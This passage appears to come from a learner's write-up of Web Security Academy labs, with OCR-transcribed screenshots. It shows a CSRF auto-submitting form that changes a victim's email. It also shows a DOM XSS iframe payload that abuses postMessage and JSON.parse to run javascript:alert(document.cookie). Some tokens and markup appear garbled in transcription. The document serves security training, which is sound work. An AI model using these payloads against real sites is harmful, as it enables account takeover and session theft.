20 Accept-Language: en-US,en;q=0.9,es;q=0.8
21 Connection: close
22
23 email=imani314@gmail.com&csrfToken=AmduX15tG118KwOjA2jDnxxtsksrF4ka

```

CSRF where token validation depends on token being present

Go to exploit server

Home | My account | Log out

## My Account

Your username is: wiener

Your email is: wiener@normal-user.net

Email  
iman3@gmail.com

**Update email**

The screenshot shows the OWASP ZAP interface with the Repeater tab selected. A POST request is being sent to `https://0a7a00880319c162c0db0803006f00e2....` with the following payload:

```
POST /my-account/change-email HTTP/1.1
Host: 0a7a00880319c162c0db0803006f00e2.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not A;Brand";v="8", "Safari";v="1509.1.1.1.1"
Sec-Ch-UA-Mobile: ?0
Sec-Ch-UA-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://0a7a00880319c162c0db0803006f00e2.we-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: */*,application/xml,application/xhtml+xml,application/xml+rss,application/javascript,*/*;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
email=iman3@gmail.com&csrf=6mtxZtZGrllHxvDGj6JImYxtzkzf6Ka
```

The response shows a 302 Found status with a Location header pointing back to the same URL. The browser screenshot shows the Web Security Academy page with the title "CSRF where token validation depends on token being present". A red box highlights the "Go to exploit server" button.

The screenshot shows two windows side-by-side. The left window is NetworkMiner, a network traffic analysis tool. It displays a POST request to 'https://0a7a00880319c162c0db0803006f00e2.web-security-academy.net/my-account/change-email'. The request body contains the email address 'iman3@gmail.com&csrf=6mdtxztZGrllHXvDGj6JImYxtzkzf6Ka'. The right window is a web browser showing the response from the exploit server. The status bar indicates the URL is 'https://exploit-0a70007303bac1a1c044085801...'. The browser shows the exploit page with the following content:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
```

The page content is:

```
<form method="POST" action="https://0a7a00880319c162c0db0803006f00e2.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="iman3@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>
```

### 3. Lab was successfully completed!

The screenshot shows the OWASP ZAP interface with the Repeater tab selected. The Request pane displays a POST request to `/my-account/change-email` with the following content:

```
POST /my-account/change-email HTTP/1.1
Host: 0a7a00880319c162c0db0803006f00e2.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not A[brand]";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://0a7a00880319c162c0db0803006f00e2.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,en;q=0.8
Connection: close
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a7a00880319c162c0db0803006f00e2.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,en;q=0.8
Connection: close
email=iman3@gmail.com&csrf=6ndtxZtZgrllHXvDGj6JtmYxtzxf6Ka
```

The Response pane shows a 200 OK response with the message:

Web Security Academy  
CSRF where token validation depends on token being present  
Congratulations, you solved the lab!

Craft a response

URL: <https://exploit-0a70007303bac1a1c0440858019100c9.web-security-academy.net/exploit>

HTTPS:

File:

Head:

HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8

Body:

```
<form method="POST" action="https://0a7a00880319c162c0db0803006f00e2.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="iman3@gmail.com">
```

## **4. DOM based Vulnerabilities**

## 4.1 DOM XSS using web messages and JSON.parse

1. The first step, as always, is to examine the features of the lab app, which is a shopping website in this case. When I'm done looking around the public areas, I head on over to the HTML source to see how everything is put together. There's a cool script on the home page:

```
<script>
  window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'), ACMEplayer = {
      element: iframe
    }, d;
    document.body.appendChild(iframe);
    try {
      d = JSON.parse(e.data);
    }
    catch(e) {
      return;
    }
    switch(d.type) {
      case "page-load":
        ACMEplayer.element.scrollIntoView();
        break;
      case "load-channel":
        ACMEplayer.element.src = d.url;
        break;
      case "player-height-changed":
        ACMEplayer.element.style.width = d.width + "px";
        ACMEplayer.element.style.height = d.height + "px";
        break;
    }
  }, false);
</script>
```

2. The script generates an iframe and inserts it into the current page whenever a message is received. The message is then converted into JSON, and an action is taken if necessary. To open a link in the message in an iframe is one of the options.
3. In this experiment, I require three levels of citations.
  - the data in 'onload'
  - the postMessage parameter
  - the JSON strings
4. According to RFC 7159, double quotes must surround strings within JSON. Since I require double quotes for the onload content of the iframe and the argument passed to it, I must escape them within the JSON string.

```
<iframe  
src="https://0a21004a048f2b53c0c70b7c004c0002.web-security-academy.net/"  
onload='contentWindow.postMessage({"\\"type\\":      \"load-channel\",      \"url\\":  
\"javascript:alert(document.cookie)\"}","*");'  
></iframe width="1000px" height="800">
```

The screenshot shows a browser window with the following details:

- Title Bar:** exploit-0a1000ce04e5141ac0988897019b00ae.exploit-server.net
- Address Bar:** exploit-0a1000ce04e5141ac0988897019b00ae.exploit-server.net
- Page Header:** WebSecurity Academy | DOM XSS using web messages and JSON.parse | Back to lab description >
- Status Bar:** LAB Solved
- Message Bar:** Congratulations, you solved the lab! | Share your skills! | Continue learning >
- Content Area:** Craft a response
- Form Fields:**
  - URL: https://exploit-0a1000ce04e5141ac0988897019b00ae.exploit-server.net/exploit
  - HTTPS
  - File: /exploit
  - Head:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
```

## Progress After: -

Track your progress

Learning materials: [View all](#)

0%

---

Vulnerability labs: [View all](#)

10%

---

Level progress:

 8 of 52  
Apprentice

 16 of 143  
Practitioner

 0 of 35  
Expert

---

Your level:

 **NEWBIE**  
Solve 44 more labs to become an apprentice.

**See where you rank on our Hall of Fame ➞**